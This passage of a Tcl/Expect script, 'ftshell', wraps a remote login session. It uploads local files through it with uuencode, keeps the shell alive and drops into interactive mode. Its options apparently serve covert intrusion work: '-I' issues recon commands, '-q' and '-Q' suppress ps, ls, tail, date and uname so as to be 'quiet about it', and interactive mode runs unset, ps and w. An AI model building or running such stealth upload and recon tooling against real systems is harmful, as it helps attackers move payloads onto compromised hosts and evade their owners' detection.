  set my_script ""
} else {
  set my_script [exec scriptcheck]
}

if [info exists env(SHOWTHIS)] {
    set showthis "$env(SHOWTHIS)"
} else {
    set showthis ""
}
send_verbose "+------------------------------------------------------"
send_verbose "+ Welcome to ftshell v.$version -- File Transter Shell"
send_verbose "+------------------------------------------------------"

sleep 1
set my_script_firstline ""
if [string length $my_script] {
#    set my_script_firstline [exec grep -n "Welcome to ftshell v.$version" $my_script | tail -1 | cut -f 1 -d ":"]
#    send_user "window scripted to    : $my_script (at line $my_script_firstline)\n"
    send_verbose "window scripted: $my_script"
} else {
    send_verbose "               : THIS IS NOT A SCRIPTED WINDOW"
}
if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] {
  # what if -I is an argument of something ftshell is wrapping? 
  # Then we fix it here.
  if [regexp "(.*)\\-I (.*)" $ava ignore avaa avbb] {
      set ava "$avaa $avbb"
      set avb "-I $avb"
  }
  set argv "$ava $avb"
  send_verbose " -I            : Issuing recon commands"
  set dodothis "yes"
} else {
  set dodothis ""
}

if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] {
  set argv "$ava $avb"
  send_verbose " -q            : Being quiet about it (no ps or ls)"
  set dothisquiet "yes"
} else {
  set dothisquiet ""
}

if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] {
  set argv "$ava $avb"
  send_verbose " -Q            : Being REALLY quiet about it (no tail, ps, ls, date or uname)"
  set dothisquiet "yes"
  set dothisreallyquiet "yes"
} else {
  set dothisreallyquiet ""
}

if [regexp "(.*)\\-x (.*)" $argv ignore ava avb] {
  set argv "$ava $avb"
  send_verbose " -x            : Exit the working directory we started in"
  set exitstartingdir "yes"
} else {
  set exitstartingdir ""
}

if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] {
  set argv "$ava $avb"
  send_verbose " -E            : Using setenv syntax"
  set usesetenv 1
} else {
  set usesetenv 0
}

if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] {
  set argv "$ava $avb"
  send_verbose " -B            : Switching to /bin/bash if available"
  set dobash 1
} else {
  set dobash 0
}

if [regexp "(.*)\\-9 ((\[^ \])*)(.*)" $argv ignore ava uPath ignore avb] {
   set argv "$ava $avb"
    # ourtn error checked this argument we will not
} else {
   set uPath ""
}
set TheirPath ""
set PathSet 0

# See if uudecode (and therefore uuencode) is around LOCALLY.
if [catch "exec which uudecode" msg] {
  send_verbose "Can't find uudecode anywhere in PATH"
  exit 1
}
if {[string match "/*" $msg] == 0} {
  send_verbose "Can't find uudecode anywhere in PATH"
  exit 1
}

set OtherUpload 0
set Uname ""

if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] {
   set argv "$ava $avb"
    if { [string match "via*" $uLocalFile] } {
	send_verbose " -u            : uploading ${uLocalFile}"
	set OtherUpload 1
        if { [string match "viaftshellauto" $uLocalFile] } {
            set OtherUpload 2
        } else {
	    set uLocalFile ""
	}
    } else {
	send_verbose " -u Local File : $uLocalFile"
    }
} else {
   set uLocalFile ""
}


if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] {
   send_verbose " Remote File   : $uRemoteFile"
   set argv "$ava $avb"
} else {
   set uRemoteFile ""
}

if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] {
   send_verbose " -L            : Keeping shell alive"
   set uStayOn 1
   set argv "$ava $avb"
} else {
   set uStayOn 0
}

if [regexp "(.*)\\-U (.*)" $argv ignore ava avb] {
    set argv "$ava $avb"
    if ![file exists /current/.ourtn-ftshell-upcommand] {
	send_verbose "FATAL: Using -U option without /current/.ourtn-ftshell-upcommand\n"
	exit 1
    }
    set uRemoteUploadCommand "[exec cat /current/.ourtn-ftshell-upcommand]"
    send_verbose " -U            : Using preset upload string (next line)"
    send_verbose "               : $uRemoteUploadCommand"
    if {[string compare $uRemoteUploadCommand ""] == 0} {
	send_verbose "Could not find any remote upload command  in /current/.ourtn-ftshell-upcommand (-U)"
	exit 1
    }
} else {
    set uRemoteUploadCommand ""
}

if [info exists env(B)] {
   set uBeforeCmd $env(B)
   send_verbose " Before Command: $uBeforeCmd"
} else {
   set uBeforeCmd ""
}

if [info exists env(A)] {
   set uAfterCmd $env(A)
   send_verbose " After Command : $uAfterCmd"
} else {
   set uAfterCmd ""
}

if [catch "spawn $argv" msg] {
    send_user "spawn failed: $msg\n"
    send_user "\nDid by chance you forget to specify a command to run?\n"
    send_user " $argv\n"
    exit $?
}

if { [string length $uLocalFile] > 0 } { 
    processUpload 
} else {
    if { [string length $uRemoteUploadCommand] > 0 } {
	processUpload
    } else {
	if { $OtherUpload } {
	    processUpload
	}
    }
}

# if string length $uLocalFile > 0 ||
#    string length $uRemoteUploadCommand > 0 ||
#    $OtherUpload {
# 	 processUpload 
#      }

send_verbose "\n"
send_verbose "-----------------------------------------------------"
send_verbose " Welcome to ftshell v.$version -- File Transter Shell"
send_verbose " Use ~~ to access menu/commands."
send_verbose " You may need to add extra ~ characters if you"
send_verbose " are logged in via something like rlogin."
send_verbose " Typing a ^C during a file transfer, will probably"
send_verbose " kill this program and anything you run through it"
send_verbose " "
send_verbose " New: Interactive mode now always executes a few"
send_verbose "      commands (unset, ps, grep, w, date, etc.)"
send_verbose "-----------------------------------------------------"

#expect -re $prompt
#send "exec sh\r"
#expect -re $prompt

set user_break 0


interactive
